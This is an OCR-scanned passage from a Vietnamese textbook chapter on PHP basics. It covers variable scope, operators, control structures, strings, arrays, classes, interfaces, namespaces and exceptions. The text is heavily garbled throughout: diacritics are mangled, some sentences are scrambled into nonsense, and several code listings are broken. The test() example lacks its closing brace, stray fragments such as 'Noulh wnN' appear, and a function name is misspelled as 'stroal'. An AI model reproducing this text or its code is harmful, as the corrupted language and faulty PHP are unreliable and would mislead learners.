cua ing dung nén duoc cai dat trong cac tép chi chita ma PHP, phan két xuat két
qua xt ly ra HTML, JavaScript va CSS d€ gti cho trinh khach méi dwoc cai dat
trong cac tép duoc viét béng hén hgp ma PHP, HTML, JavaScript, CSS. Mau thiét
k&€ MVC duoc trinh bay trong Muc 6.4 sé tra 10i kizhon cau héi nay. Luu y, néu tép
chi chita minh ma PHP, chi'cafi md doan'ma PHP bf?mg <?php o'dau tép ma khong
can déng &oan!PHP bang 2> o cudi tép.

6.2.2. Kiéu dit liéu, bién, ham

Ngon ngtt PHP ho tro cac kiu dit liéu nguyén thay nhu sd nguyén, s6 thuc,
xau, logic (true/false), cung cac kiéu phitc hop nhu mang va ddi twong. Xau ky tw
la mot day cac ky tw dugce gidi han trong cap nhdy don (‘) hodc trong cap nhay kép
(“). Mang la anh xa, tirc by swu tap cac cap <khoa, gia-tri>. Ddi tuwong la thé hién
cua 16p duoc khai bao tuong tu trong Java. Cac ki€u dit liéu phitc hop (mang va
do6i twong) sé duoc trinh bay chi tiét trong cac muc nho phia sau. Ngoai ra, PHP
hd tro kifu dit liéu ddc biét co tén 1a null. Mién gia tri caa null (viét thuwong) co duy
nhdt mot gia tri la NULL (viét hoa). Bién cé kiéu dix liéu null 1a bién khong luu triv
gia tri. Néu mot bién duoc tao ra ma khong dwgc gan gia tri, nd sé co6 kiéu null.

Khéc véi Java va C, nhung giéng nhiéu ngdn ngit khac, PHP str dung co ché
dinh ki€u khong tuwong minh. Co ché€ dinh ki€u nay da dwoc trinh bay chi tiét
trong Muc 4.1.1. Véi co ché dinh kiéu khéng twong minh, ngéon ngtr PHP khong
yéu cau phai khai bao bién trudc khi st dung, khong bat budc phai xac dinh kiéu
d@ liéu ctia bién. Kiéu di liéu ctia bién duoc tw dong xac dinh dupa trén di liéu
cta no.

Bién bt dau boi ky tw $ theo sau la tén bién. Tén bién bao gdm chit cai, chit s,
dau gach noi (_) va phai bat dau béng chtt cai hoac ddu gach ndi. Ham duwoc dinh
nghia bang tir khoa function, theo sau la tén ham va cic tham s6 (néu c6). Kidu ctia
ham va ki€u ctia tham sd cling duoc xac dinh theo co ché khong tuwong minh.

Pham vi hoat dong cua bién co6 thé 1a cuc bo (local variable), toan cuc (global
variable) hay tinh (static variable). Khi mot bién duoc khai bao trong mot ham thi
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nd duoc xem la bién cuc bo va né chi ¢d y nghia st dung trong ham d6. Khi ham
duoc thuc thi xong, toan b bién cuc bo dwgc khai bao trong ham dugc giai phong
khoi b nhd. Nguoc lai, bién toan cuc la bién duoc khai bdo ngoai ham, c6 thé truy
cap 0 bat ky noi nao trong chuong trinh va ton tai trong sudt thoi gian thuec thi cta
chuong trinh. Tuy nhién, do st dung co ché dinh kiéu khong twong minh, bién
toan cuc mdc dinh khéng hién dién bén trong ham. Néu tén bién dwoc st dung
bén trong ham, n6 dwoc hi€u la bién cuc bd dugc khai bao khong twong minh. Dé
bién toan cuc c6 tac dung trong pham vi ctia ham, hay st dung tir khoa global
trude tén bién. Vi du chuong trinh sau day minh hoa cach dinh nghia ham, st
dung bién toan cuc va bién cuc by. Chuwong trinh khai bao, dong thoi gan gia tri
cho, mot bién toan cuc ¢ tén la $a. Ham test(), sau d6 duoc dinh nghia. Trong
ham fest(), mot bién cuc bd 6 tén la $b duoc khai bao va gan gia tri. V6i co ché
dinh ki€u khong twong minh, ca $a va $b dugc hiéu c6 ki€u s6 nguyén, do gia tri
géan cho chung lan luot 1a 10 va 15. Cau 1énh "echo $a," trong ham test() sé€ khong in
ra két qua, dong thoi dua ra mot thong bao 18i "Undefined variable". Nguyén
nhan la $4 dwoe hiéu [la bién cuc)bd va\ndichwadwoc\gan-gia Ari-Nguoc lai, cau
1énh "echo($a+4$b); ytrong ham test()yin ra két qua 25. Treng cau lénh nay, $a la bién
toan cuc do trudc dg daicd can lénh Yglobal $a;" voiy nghia "Tt dong lénh nay dén
hét ham tesk(), ky hiéu $s 1a\tham chiéu dén/bién toan cue/chte khong phai bién cuc
bd nita". Phia sau ham test(), cau 1énh "echo $a;" cho két qua 10 vi chic chin $a 1a
bién toan cuc, cau 1énh "echo $b;" ¢ 16i "Undefined variable" do khong cé bién toan
cuc nao co tén la $b.

1. <?php

2. $a = 10; // bién toan cuc

3. function test() {

4. $b = 15; // bién cuc bd

5. echo $a; // 16i Undefined variable
6. global $a;

7. echo ($a+$b); // 25

8.

9. echo $a; // 10

10. echo $b; // 16i Undefined variable
11.  test(); // 25

Bién tinh c6 pham vi truy cdp trong ham tuong tu bién cuc bd. Du vay, khac
véibién cuc b, bién tinh khong mat gia tri cua nd khi thuc thi cia chwong trinh ra
khoi ham. Nguoc lai, nd gitt nguyén gia tri khi ham dwoc goi thém Jan nita. Co thé
thdy pham vi ctia bién tinh thong qua vi du sau. Trong vi du nay, bién tinh $count
duoc khai bao trong ham tick(). Ham tick() dwoc goi ba Ian, mdi Ian lam tang bién
$count thém 1.

=

<?php
function tick() {
static $count = 0;
echo $count;
$count++;

}
tick(); // @

Noulh wnN
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8.  tick(); // 1
9.  tick(); // 2

Co ch€ dinh kiéu khong tuong minh khong cung cdp cau lénh khai bao bién
mot cach ro rang. Do vay, mot bién c6 thé khong ton tai hodc chua duoc khoi tao
khi n6 duoc st dung. Thong bao "Undefined variable", nhw vi du & trén, sé dwoc
ném ra trong nhitng tinh hudng nay. D& tranh nhitng 16i nhw vay, PHP cung cap
hai ham kiém tra ma lap trinh vién nén st dung trudc khi dung bién néu khong
chic chin bién da ton tai va cb gia tri. Ham tha nhat la isset($var), ki€m tra bién
$var da ton tai hay chwa. Ham th hai la empty($var), ki€ém tra gia tri cua $var c6
khéc rong hay khong. Ma str dung bién c6 dang if (isset($var) && lempty($var)) { /*
st dung $var */}.

Ciing do co ch€ dinh kiéu khong twong minh, ki€u ctia bién khong duoc phat
biéu rd rang, do vay 16i gan gid tri sai kiéu cho bién c6 thé xay ra. D€ tranh 1i nay,
PHP cung cap ham kiém tra kiéu is_[type](), trong d6 [type] bao gdm numeric, int,
float, string, bool, null, array, object twong ting vaéi cac kiéu dir liéy s6, s6 nguyén, sO
thap phan,xau ky tu) logic, nudl, mang, va'doituong.

Trong qua trinh tifth toafichuong trirthycGithe thue hiéngiée chuyén doi kieu
d liéu cho biéh'bang cach ghi/féfrkidu dit liéu ma bién mudn chuyén d6i vao
phia trudc bién theo ca phap (type) $var. Vi du, doan ma <?php $x = 2.3; $n = (int)
$x; ?> chuyén gia tri sd thuc cta $x thanh kiéu s6 nguyén roi gan cho $n. Véi cac
ki€u s6 va xau, PHP cung cap cac ham intval($s), floatval($s) d€ chuyén doi bieu
dién xau $s thanh s nguyén, thuc, twong tng; dong thoi cung cAp ham stroal($v)
dé chuyén gid tri ctia $v thanh mot xau.

6.2.3. Phép toan, biéu thirc

PHP hd trg cac phép toan va biéu thikc tuong tu Java va C. Cac phép toan duoc
nhac lai dudi day.

Phép todn s6" hoc: Céc phép toan sd hoc dwgce stv dung trong ngdn ngr PHP
bao gom: + (cdng), - (trwr), * nhan, / (1dy phan thuwong s6 ctia phép chia), % (lay
phén duw cua phép chia).

Phép toin so sanh: Ngon ngt PHP str dung cac phép toan so sanh dé€ so sanh
hai gia tri kiéu s hodc xau ky tw, két qua tra vé la gia tri kiéu logic dung (true)
hodc khong ding (false), bao gom: == (bang nhau vé gia tri), === (cting la mot thé
hién), != (khong béng), > (I6n hon), < (nho hon), >= (16n hon hoéc bing), <= (nho
hon hodc bang).

Phép todn ting, giam: Ngon nglr PHP st dung cac phép toan ++ (tang gia tri
cua bién kiéu s6 nguyén thém mot don vi), -- (giam gia tri cua bién kiéu s6 nguyén
mot don vi). Vi tri ciia phép toan ding dang trudce hay dang sau bién sé xac dinh
thoi diém tang hodc giam gia tri bién. Néu ding dang truedc bién, phép toan sé
thye hién tang hodc giam gia tri bién do truede khi thuce hién wdc lwong biéu thic.
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Nguoc lai néu ding dang sau bién, phép toan sé thyc hién wdc luong biéu thire
sau d6 moi thuc hién tang hodc giam gia tri ctia bién.

Phép todn logic: Phép toan logic dwgc dung cho céc toan hang la cac biéu thirc
so sanh hoac cac gia trj ki€éu boolean. Ngon ngtt PHP st dung toan t¢ && cho
phép toan AND c6 két qua la gid tri dung khi tat ca cac toan hang c6 gia tri dung
nguoc lai cho két qua 1a gia tri sai, toan t&x || cho phép todn OR c6 két qua la gia
tri sai khi cac tat ca toan hang cé gid tri sai nguoc lai cho két qua dang, toan tr !
cho phép NOT c6 két qua gia tri sai khi toan hang c6 gia tri dung va cho két qua la
dung khi todn hang c6 gia tri sai.

Phép todan noéi xdu ky tw: Ngon ngtr PHP stt dung todn tir cham (.) d€ thyc hién
ndi cac xau ky ty voi nhau. Vi du véi hai bién $stri="Hello ” va $str2="world!”,
$strl.$str2 sé cho gia tri “Hello world!”.

Phép gin: Lénh gan ctia ngdn ngt PHP st dung ct phap $v = expression; voiy
nghia 1a gia tri ctia bi€u thiic expression dugc tinh va gan cho bién $v.

Biéu thirc: €6'thé'la mot héng s6; bién-so; hoac'két hgp-cac’biéu ‘thirc bmeg cac
phép toan, Trong /bicu.thitc.gom nhiéu phép toan, viec kéc lugng bi€u thirc dua
vao do wu tién ctia [caephép toan.Lhép toan c6 do tu tién lén-hon sé dwoc thuc
hién triede. Cac phép todn trong ‘cdp ngoacmo. (Va ngodc dong’) co6 do wu tién cao
nhat. Tiép theo dén céc todn tlr mot ngodi (++, --, 1), roi cac phép toan hai ngdi'® (*, /,
%, +, -), phép toan noi xau ky tw (.). Ti€p theo la cac phép toan so sanh, cac phép
toan logic hai ngo6i (&&, | 1). Cudi cung la phép gan (=).

6.2.4. Cau trac diéu khién

PHP hd tro cac ciu truc diéu khién twong ty Java va C. C4c cau trac diéu khién
duwoc nhic lai dudi day.

Cdu tric ré nhdanh

Ngo6n ngtt PHP ho tro cdc 1énh 1é nhénh if, if-else, if-elseif-else, switch. Cau lénh if
thuce hién mot hay nhiéu cau 1énh khi biéu thiee diéu kién cé két qua dung. Cau
1énh if c6 ct phdp nhu sau:

if (biéu_thirc_diéu_kién) {

Tap_lénh duoc thyce hién khi biéu_thire_diéu_kién cé gia tri ding;

}

Cau lénh if-else la 1énh ré nhanh day du. Lénh sé thyc hién mét hay nhiéu cau 1énh
khi biéu thirc diéu kién c6 gia tri ding, va thuc hién mot hay nhiéu cau 1énh khac
khi biéu thirc diéu kién ¢ gid tri sai. Lénh if-else c6 cu phap nhu sau:

if (biéu_thirc_diéu_kién) {

' Phép toadn gdom hai todn hang.
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Tap_lénh dwoc thyce hién khi biéu_thirc_diéu_kién cé gia tri dang;
} else {

Tap_lénh dwoc thuce hién khi biéu_thivc_diéu_kién cé gia tri sai;
}

Cau lénh if-elseif-else 1a cau lénh ré nhanh duoc sit dung khi viéc thuc thi nhiéu
doan ma Iénh trong chwong trinh phu thudc vao gia tri cua hai biéu thirc diéu kién
tro 1én. Cu phap cta cau 1énh if-elseif-else c6 dang nhu nhu sau:

if (biéu_thirc_diéu_kién_1) {
Tap_lénh duoc thuc hién khi biéu_thirc_diéu_kién_1 cho gid tri dung;
} else if (biéu_thirc_diéu_kién_2) {
Tdp_lénh duoc thuc hién khi biéu_thirc_diéu_kién_2 cho gid tri dung;
} else {
Tdp_lénh duoc thuc hién khi biéu_thirc_diéu_kién_1 va bieu_thirc_diéu_kién_2
déu cho gia trirsai.
}

Chuong trinh trong vi du sau day st dung cau truc 1énh if-elseif-else d€ kiém tra
thang cuia thoi gian hién tai thudc khoang thoi gian nao trong nam tinh theo qui.

1. <?php

2. $month = date('m');

3. if ($month <= 3) {

4, echo 'Pay la thoi gian thudéc 3 thang qui I (1,2,3)!";
5. } else if ($month <= 6) {

6. echo 'Pay la thoi gian thudc 3 thang qui II (4,5,6)!";
7. } else if ($month <= 9) {

8. echo 'Pay la thoi gian thuéc 3 thang qui III (7,8,9)!';
9. } else {

10. echo 'Pay la thoi gian thudéc 3 thang qui IV (10,11,12)!';
1. }

Cau 1énh switch 1a cau 1énh ré nhanh dwgc st dung khi biéu thire diéu kién ¢
nhiéu gia tri lya chon, tng voi moi gid tri nay chuwong trinh thuec thi cdc doan ma
lénh khac nhau. Ca phap caa cau 1énh switch c6 dang nhw nhu sau:

switch (biéu_thirc) {
case gid_tri_1:
Tdp_lénh dwoc thuc thi khi gia tri cha biéu_thirc béng gid_tri_1
break;
case gid_tri_2:

Tdp_lénh dwoc thuc thi khi gia tri cha biéu_thirc béng gid_tri_ 2
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break;

default:

Tdp_lénh duwoc thuc thi khi gia tri ctia biéu_thirc khéac tat ca cac
Qid_tri 1, gid_tri 2,... & trén.

}

Cha y 1énh break dwgc sit dung d€ sau khi thue hién tap lénh ctia mot case sé két
thuc 1énh switch. Néu khong co6 1énh break, sau khi thuc hién tap 1énh trong mot
case, sé thyee hién tap lénh cua case ti€p theo.

Chuong trinh trong vi du sau day xac dinh thang cta thoi diém hién tai thudc
khoang thoi gian nao trong nam. Néu thoi diém hién tai dang la thang 2, thi sau
khi thwe hién 1énh echo ‘Thang 2!, tiép tuc thyc hién 1énh echo ‘Thing 3!” do case 2
khong c6 l1énh break.

1. <?php

2 $month = date('m');
3 switch ($month) {

4 case 1:

5. echo 'Thang 1!';
6 break;

7 case 2:

8. echo 'Thang 2!';
9. case 3:

10. echo 'Thang 3!';
11. break;

12. default:

13. echo 'Thoi diém nay da ngoai quy I!';
14. }

Céu triic lip

Ngon ngit PHP hd trg cac 1énh 13p for, foreach, while, do-while. Lénh for duoc
dung khi s6 Tan 1ap duwgc xac dinh trede. Ca phép cua lénh for nhw sau:

for (biéu_thitc_1; biéu_thiec_2; biéu_thikc_3) {
Tdp_lénh duoc thuc thi khi biéu_thirc_2 dung
}

trong d6, biéu_thirc_1 dwgc thye hién mot lan vo diéu kién trude khi cac Tan lap
(iteration) duwogc dién ra. O mdi [an lap, biéu_thirc_2 dwoc kiém tra, néu biéu_thirc_2
ditng, khdi 1énh cua for va biéu_thirc_3 lan lwgt duoc thywe hién, ngwoc lai néu
biéu_thirc_2 sai, lan 1ap bi bo qua va 1énh for duoc két thuc.

Lénh foreach dung d€ duyét qua toan by cac phan tk thudc mot bo suwu tap
(mang, doi tuwong, xem thém cac Muc 6.2.6 va 6.2.7). S6 lan 1ap cua 1énh foreach sé
bang véi s8 luong phan tir ctia bd suu tap. Cl phap cua 1énh foreach c6 dang nhuw
sau:
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foreach ($tén_bg_swu_tdp as $gid_tri) {
Tap_lénh

}
Lénh while dwoc dung khi s6 Ian 1ap khong xac dinh truede. Ca phap cua lénh
while nhu sau:
while (biéu_thirc_diéu_kién) {

Tdp_lénh duoc thuc thi khi biéu_thirc_diéu_kién cho gia tri ding.
}

Lénh while tién hanh kiém tra diéu kién ldp trudc khi thuc thi cac 1énh. Céac 1énh
duoc thuc thi 13p di lap lai cho dén khi diéu kién lap sai.

Lénh do-while cting dwoc dung khi s6 Ian lap khong xac dinh trudce. Ca phap
cua lénh do-while c6 dang nhw sau:

do {
Tap lénh
} whilel(biéu, thikc_diew. kién);

Khac véi 1énh while, 1énh do-while sé thuc hién tap lénh trudce khi kiém tra diéu
kién ldp, nén it nhat tap 1énh dwoc thye hién mot lan.

Ngon ngtt PHP cung cap lénh break d€ cé thé thoat khoi vong lap khong can
dén xét dén biéu thirc diéu kién. Cu phap lénh break nhu sau:

break [s0__vong_lip);

trong d6, tham sd tuy chon s6”_vong_lip xac dinh s6 vong 1dp cé thé thoat ra trong
treong hop khéi lénh str dung nhiéu vong lap I6ng nhau.

Dé két thac Tan 1ap hién tai, va thyc hién lan lap tiép theo, PHP st dung cau
1énh continue. Lénh continue ciing cho phép st dung tham sd dé xac dinh s vong
1ap thyee hién tiép tuc trong treong hop khéi lénh st nhiéu vong 13p 16ng nhau.

6.2.5. Xau

Xau la day ky tu duoc dét gitta hai ddu nhdy don (') hodc hai dadu nhay kép ().
Sy khac biét gitta st dung dau nhdy don va dadu nhdy kép la cac ky tu trong xau
st dung dau nhay don gitt nguyén nghia nguyén thuy (literal) cua no, trong khi
xau stt dung dau nhay kép cho phép mot so t0 hop ky tw ¢d y nghia dac biét cd tac
dung mo ring xau. Cu thé, moi ky tw trong xau st dung dau nhay don déu cé
nghia nguyén thuly ngoai trit ddu nhdy don va ddu chéo trai (\). D€ xac dinh gia
tri nguyén thuy cho cac ky tu nay, sit dung cac day ky tu thoat (escape sequence)
\"va \\, twong ung. T4t ca cac day ky tu thoat khac nhw \n, \r, \$, ... déu khong
cé y nghia md rong, ma cac ky ty trong chung gitt nguyén nghia nguyén thuy.
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Nguoc lai, xau ky tw sit dung dau nhay kép chdp nhan tat ca cac day ky tw thoat.
Ngoai ra, xau ky tu st dung ddu nhdy kép cho phép mé rong xau bang bién trong
xau. Vi du sau day minh hoa su khac biét gitta xau sit dung dau nhay don va xau
st dung ddu nhdy kép. Trong vi du nay, cau lénh echo tht nhat in ra xau véi moi
ky te déu gitt nguyén y nghia nguyén thuy, trong khi d6 cau lénh echo thit hai in
ra xau da dwgc mo rdng vdi bién trong xau $name va day ky tw thoat \n.

1. <?php

2. $name = "PHP";

3. echo 'Hoc $name \n rat bé ich'; // Hoc $name \n rat bé ich
4. echo "Hoc $name \n rdt bd ich"; // Hoc PHP

5. // rat b ich

PHP h tro rat nhiéu ham va toan tie xtr Iy xau tién loi gitip cho viéc x Iy xau
dé dang va linh hoat. Diéu nay la can thiét va hop ly vi PHP dugc thiét ké chuyén
dung cho phat trién mat sau tng dung web. Moi dit liéu vao ma mdt sau nhan
duoc déu la xau. Mdt sau ung dung web phai kiém tra xau, chudn hoéa xau,
chuyén doi xau-thanh cae kiéu dir liéu khac, ..=Mot,s6 ham xt ly xau thuong
xuyén dugc-st-dung nhu strien(), "trim(), strncmp(), substr(), explode(), implode(),
substr_replace(): Ngudisdoc eéithé fim thay-nguyén mau clia caesham nay va nhiéu
ham xtr ly xau khac taitrang littpshphp.net/ref strings. Voi yiectioi xaw, PHP ho tro
toan tir cham (.) rat tién lo1 vo1 ca phap $s1.8s2, trong do6 $s1, $s2 la cac gia tri
nguyén thuy hoac bién bat ky. Vi du, néu $name="PHP’ thi 'Hoc ".$name tuong
dwong 'Hoc PHP'.

6.2.6. Mang

Khac véi Java va C, mang trong PHP 1a 4nh xa. Mdi phan t& ctia mang dwoc
xac dinh bdi mot khod (key) duy nhat, chi doc. Gia tri kem theo khda cé thé thay
doi. Truy cap cac phan t¢ mang duoc thyc hién thong qua khoda. Khoa chi nhan
kiéu s6 nguyén hodc xau trong khi gid tri c6 thé nhan kiéu dir liéu bat ky. C6 thé
khai bao mang bang ct phap don gian $ten_mang = array(). Khi d6, mot bién co
kiéu mang duoc tao nhung chwa ¢ phan tit nao bén trong mang. D€ khoi tao cac
phan t¢ mang cung v6i khai bdo mang, st dung ca phap $ten_mang =
array(gid_tri_mot, khéa_hai => gid_tri_hai, ...), trong d6 nhiing phan ti khong dwoc
xac dinh khoa sé stt dung khoa la s8 nguyén tang tw dong, bat dau tir 0. Vi du,
khai b4o $arr = array("a” => "Hoang Héa", "bc” => "Trin Sang”, "Nguyén Minh");
teong duwong khai bao $arr = array(”"a” => "Hoang Hoa”, "bc” => "Trin Sang”, 0 =>
"Nguyén Minh");.

D€ thém phan tk¢ méi vao mang, st dung ca phap $ten_manglkhéa_mdi] =
gid_tri; hodc $ten_mangl[] = gid_tri;, trong d6 khoa_mdi chua ton tai trong mang. Néu
khoa_méi dwoc d€ trong, phan t& moi thém sé nhan khoa la s6 nguyén tang tw
dong. Vi du, véi mang $arr o trén, cau lénh thém phan t&e maéi $arr[] = "Lé Vin”;
twong dwong $arr[1] = "Lé Vin";.
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Dé€ thay d6i gia tri mot phan tk mang, st dung ct phap $ten_mang[khoa_cii] =
gid_tri_mdi;, trong d6 khoa_cii da ton tai trong mang. Vi du, véi mang $arr & trén,

cau lénh $arr[”"a”] = "Hoang Vin Hoa"; sé€ thay doi gia tri phan ti thit nhat trong
mang tit "Hoang Héa" thanh "Hoang Van Hoa".

b€ loai bd phan t& mang, st dung ham unset() véi ca phap
unset($ten_manglkhoa_cii]);, trong &6 khoa_cii da ton tai trong mang. Vi dy, voéi
mang $arr & trén, cau lénh unset($arr["bc”]); sé loai bé phan tte thit hai, c6 gia tri
"Tran Minh", trong mang. Luu y, ham unset($var) tong quat co6 tac dung xda bién
$var khoi chuong trinh.

Lién quan dén mang, PHP cung cdp nhiéu ham x& ly thudn tién. D€ biét sO
phan t& ctia mang, st dung ham count($arr). D& sap xép cc phan tir trong mang
theo tht ty gia tri ting dan, st dung ham sort($arr). D€ tinh giao cua cac mang, st
dung ham array_intersect ($arr1, $arr2 , ...), ... D€ biét thém vé cac ham x& ly mang
trong PHP, tham khao trang http://php.net/ref.array.

Mot trong cacithiao téc c¢ bar trén mang la) diryét)qua caephan tir cia mang dé
thuc hién motyedng viéc gil d6. PHR cung cdp cdu traedap foreach cho duyét mang
hét stc thuén tién. Khi duyet mang, c6 the ¢hi layira gia tri ¢ua €a¢ phan ti trong
mang hodc'lay ra cakhoda vasgid tri cuawcdc phan tik.trong mang. Vi du sau day
thue hién duyét mang $a hai [an, lan th nhdt chi 1ay gid tri, lan tht hai 14y ca
khoa va gid trj cia cdc phan t trong $a.

1. <?php

2. $a= array("mot"=>1, "hai"=>2, "ba"=>3);

3. foreach($a as $gia_tri)

4, echo $gia_tri." "; // 1 2 3

5. foreach($a as $khoa=>$gia_tri)

6. echo $khoa.":".$gia tri." "; // mot:1 hai:2 ba:3

Xét mot vi du khac st dung mang véi gia tri cua phan tt mang khong phai la
gia tri nguyén thuy. Trong vi du nay, mot mang "ba chiéu" dwoc tao d€ luvu danh
sach cac nha tho cung tac pham ctia ho. Cac vong 1dp 1ong nhau duoc st dung dé
duyét mang va doc ra tén cac tac gia va tac pham.

1. <?php

2 $poems = array(

3 array("name" => "Nguyén A",

4. "titles" => array("Gié thu", "Séng sanh", "Chiéu hong")),
5 array("name" => "Tran B",

6 "titles" => array("Ra tran", "Hong quan")),

7 array("name" => "Trinh C", "titles" => array("Song qué"))

8

- )
9. foreach ($poems as $p) {
10. echo $p["name"]." c6 ". count($p["titles"]). " tac pham 13:";
11. foreach($p["titles"] as $t) echo " ".$t;
12. echo ". ";
13. }
14. //

K&t qua: Nguyén A c6 3 tac pham 1la: Gié thu Séng sanh Chiéu hdéng. Tran B
c6 2 tac pham 1la: Ra tran Hong quan. Trinh C cé 1 tac phdm 13: Séng qué.
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Luu y, gia tri cua phan t& mang c6 thé nhan di liéu kiéu bat ky. Cing luu y
thém rang, trong PHP, tat ca cac bd swu tap lwu dit liéu sau khi phan tich yéu cau
HTTP (Muc 6.1.1) déu 1a mang. Day ciing 1a mot trong cac 1y do tai sao PHP ho tro
rat nhiéu ham xt Iy mang mot cach dé dang nhuw vay.

6.2.7. L6p va ddi tugng

Lép va do6i tuwgng trong PHP duoc cai dat kha gidng trong Java. Dinh nghia
mot 16p c6 mau nhu sau:

class ClassName {
[tinh_kha_kién] dir_liéu_thanh_vién/thudc_tinh
[tinh_kha_kién] ham_thanh_vién/phwong_thirc
}

Dinh nghia 16p dwgc xac dinh boi tir khoa class_tiép theo la ClassName d€ dinh
danh 16p, Isau dd'1a dinh nghia icac ithanh(vien\cxa 1op/ Thanh/vién di liéu (data
member) &lingidudc goi la thudc tinh (attribute). Twotfigrtr, thanh vién ham duogc
goi la phuong thitc/(method). Tinh kha kiéh (visibility) ctia/moi thanh vién duoc
xéac dinh bang cac tirkhéa privaté, protectedva public. Déisttrong.duwockhai bao theo
ca phap nhu sau:

$obj = new ClassName();

Truy cap cac thanh vién cua d6i twong theo cti phap:
$obj->attr;
$obj->method();

Ham tao va ham hay dwogc dat tén 1a __construct() va __destruct(), twong tng.
Luu y ¢6 hai ddu gach dwdi () 6 dau tén ham tao va ham huy.

K& thira duwgc cai dat twong ty trong Java:
class SubClassName extends ClassName {
[tinh_kha_kién] diz_ligu_thanh_vién_cua_lép_con
[tinh_kha_kién] ham_thanh_vién_ctia_lop_con
}

Dé€ truy cap cac thanh vién duoc ké thira tir 16p cha nhung bi che (overwrite)
do trung tén trong lop con, st dung ct phap:

parent::thanh_vién_dwoc_ké” thira_lép_cha_nhung_bi_che

Lép ao, phuong thic ao dwoc cai ddt voi tie khda abstract cling giong trong
Java, nhu sau:

abstract class ClassName {
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abstract [tinh_kha_kién] ham_thanh_vién();
}

Hién tuong da hinh (polymorphism) ciing dién ra giéng nhu trong Java.

Nhin chung, dinh nghia 16p, khai bao va st dung d6i twong trong PHP khong
khac trong Java. Lap trinh vién Java c6 thé 1ap trinh huwéng d6i teong trong PHP
ngay va tra citu thém vé PHP khi can thiét.

6.2.8. Giao dién

Giong nhu trong Java, giao dién trong PHP xac dinh cac phwong thic ma 16p
phai cai d3t. Giao dién chi chita hing s va chit ky ctia cic phuong thirc. TAt ca cac
phuwong thite trong giao dién phai cé tinh kha kién 1a public. Lép cai dat phai cai
dat tat ca cac phuong thiic thuoc giao dién. Khai bao giao dién bang tir khoa
interface nhu vi du sau:

interface iTemplate {
publi€ function setVarigble($name, $var);
public fariction getHtmil($termplate);

/

Lép cai dat giao dién dugc dinh nghia cung ttt khéa implements nhw vi du sau:
class Template implements iTemplate {
private $vars = array();
public function setVariable($name, $var) { ...}

public function getHtml($template) { ...}

6.2.9. Khong gian tén

Trong qud trinh phat trién phan mém, doi khi viéc dat tén nhing 16p doi
teong, giao dién, ham, hang s6 do nguoi 1ap trinh dinh nghia bi trung l3p. D&
khic phuc van dé nay, khong gian tén (namespaces) duoc st dung. Khong gian
tén trong PHP twong duwong goi (package) trong Java va giong khong gian tén
trong C. Khai bdo khong gian tén trong PHP theo ct phép:

namespace NsName;
/] Lép, giao dién, ham, hang s6 thuéc Khong_gian_tén

trong d6 NsName la tén cua khong gian tén. Khai bdo khong gian tén phai duoc
dat o dau tép, ngay sau thé <?php. Khong gian tén duogc khai béo theo ci phap
nay c6 pham vi dén hét tép. Néu mudn khai bao nhiéu khéng gian tén trong cung
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mot tép, ct phap thit hai sau day dwoc stt dung:
namespace NsNamel {
/] Lép, giao dién, ham, hang s6'thudc NsNamel
/
namespace NsName2 {
/] Lép, giao dién, ham, hang s6 thuéc NsName2
/

Mot khong gian tén ¢ thé chira khong gian tén con (subnamespaces). PHP st
dung ct phap tuong tu duwong dan the muc dé biéu dién khong gian tén con:

namespace NsName \ SubNsName;

Cac 16p, giao dién, ham, hfang s0 khong duoc dinh nghia trong mot khong gian
tén nao duog coi la ndm trong khong gian tén toan cuc (\). Ciing c6 thé stt dung
khong gian tén w6 danh dé biéu thi khong ‘gian ten toan\cucnhu sau:

namespace {//*Khéug gian, tén/toan cue*h/

Céac khong gian tén khae.dtroc xem nhwmam trongkhong gian tén toan cuc. C6
thé hinh dung, toan bd khéng gian tén cia méting dung c6 dang nhu sau:

\

\namespacel

\namespacel \ subnamespacell
\namespacel \ subnamespacel2
\namespace2

\namespace2 \ subnamespace21

\namespace2 \ subnamespace21\ subsubnamespace211

Tén day du cua 16p, giao dién, ham, hang s6 bao gdm khong gian tén ¢ trudc,
bat dau tir khong gian tén toan cuc, theo sau la tén cta 16p, giao dién, ham, hang
s0, theo mau:

\namespace \ subnamespace \ subsubnamespace\ ...\ ClassName

Tén day du duoc st dung dé tham chiéu dén 16p, giao dién, ham, hang s
thudc khong gian tén bat ky. Néu 16p, giao dién khong duoc viét véi tén day du,
ching duwoc hiéu 1a thudc khong gian tén hién tai (khong gian tén chita ma 1énh
tham chiéu). Néu ham, hang sd khong duoc viét véi tén day du, chung dwoc hidu
la thudc khong gian tén hién tai hodc thudc khong gian tén toan cuc néu khong tim
thay trong khong gian tén hién tai. Vi dy, trong cac ma lénh sau day, cac 16p
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ClassA, ClassB, ClassC dwgc hiéu la Tan luwgt thudc khong gian tén \abc\def,
\abc\def\ghi, \jkl; ham dosomething() c6 thé nam trong khong gian tén \abc\def
hoac khong gian tén toan cuc (\); treong hop khong khong gian tén \abc\def
khong chita ham dosomething(), hé thong mdi sit dung ham dosomething() & khong
gian tén toan cuc.

namespace \abc\def {
$a = new ClassA();
$b = new ghi\ ClassB();
$c = new \ jkI\ ClassC();
dosomething();

}

Dé khong phai viét tén day dua, PHP cho phép nhap va dat bi danh cho khong
gian tén, 1¢p, va giao dién. Nhap khong gian tén, lép, giao dién theo mau:

usews \ subns\ Classname;

sau do chi ‘¢an st dung'Classname thay cho tén day du ns \subus\ Classname. Nhap
va dat bi danh cho khéng giart tén, 16p, giao dightheo mau:

use ns\subns\ Classname as Another;

sau d6 sit dung Another thay cho tén day dua ns\subns\ Classname. Vi duy, gia st 16p
Dog da dwoc dinh nghia trong khong gian tén \animal, viéc nhap va st dung bi
danh cho 16p Dog c6 thé duoc thuc hién nhu sau:

use animal \ Dog as D;

$d = new D();

6.2.10. Xt ly ngoai 1é

PHP cung cap cac ct phap x& ly ngoai 1é gidng nhu Java. D€ ném ngoai 1€, st
dung ttt khoa throw voi ci phap nhuw sau:

throw new Exception(”Mé ta ngoai I¢”);

D& bat va xtt Iy ngoai 18, PHP ciing stt dung céc tit khoa try, catch, va finally véi
y nghia giong nhu trong Java:

try {
Il ma xw 1y nghiép vu
} catch (Exception $e) {
/1 néu c6 ngoai 1¢ xay ra ¢ khoi try

/1 thi ma xuwr ly ngoai 1€ 0 khoi catch diwgc thiec hién.
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/1 Sir dung $e->getMessage() dé'ldy mo ta ngoai I¢.
} [catch (OtherException $oe) {
/1 Co thé nhiéu khoi catch sau khoi try.

// Mi khoi catch biat moét loai ngoai l¢.

1
[finally {

/I Ma dwoc chay bit ké ngoai 1¢ di xdy ra hay khong.
/1

6.3. PHAT TRIEN UNG DUNG WEB VOI PHP

